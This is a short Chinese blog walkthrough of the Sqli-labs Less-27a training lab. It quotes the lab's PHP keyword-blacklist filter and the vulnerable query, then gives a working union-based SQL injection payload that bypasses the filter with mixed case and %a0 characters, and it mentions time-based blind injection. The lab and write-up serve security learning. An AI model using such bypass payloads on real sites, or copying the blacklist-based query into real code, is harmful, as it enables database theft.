Sqli-labs Less-27a 绕过union、select等过滤 union注入

关键代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out Select
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//print_r(mysql_error());

本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。

我们根据27关直接给出一个示例payload:

http://127.0.0.1/sql/Less-27a/?id=100"unIOn%a0seLect%a01,database(),"3

 

TIPS:这里说下以上payload我们利用最后的3前面的 " 将后面的 " 给闭合掉。或者亦可以利用以前的方法 1,database(),3 || "1,同时本关可以用延时注入的方法进行注入。

posted @ 2020-04-09 22:14  zhengna  阅读(289)  评论(0编辑  收藏  举报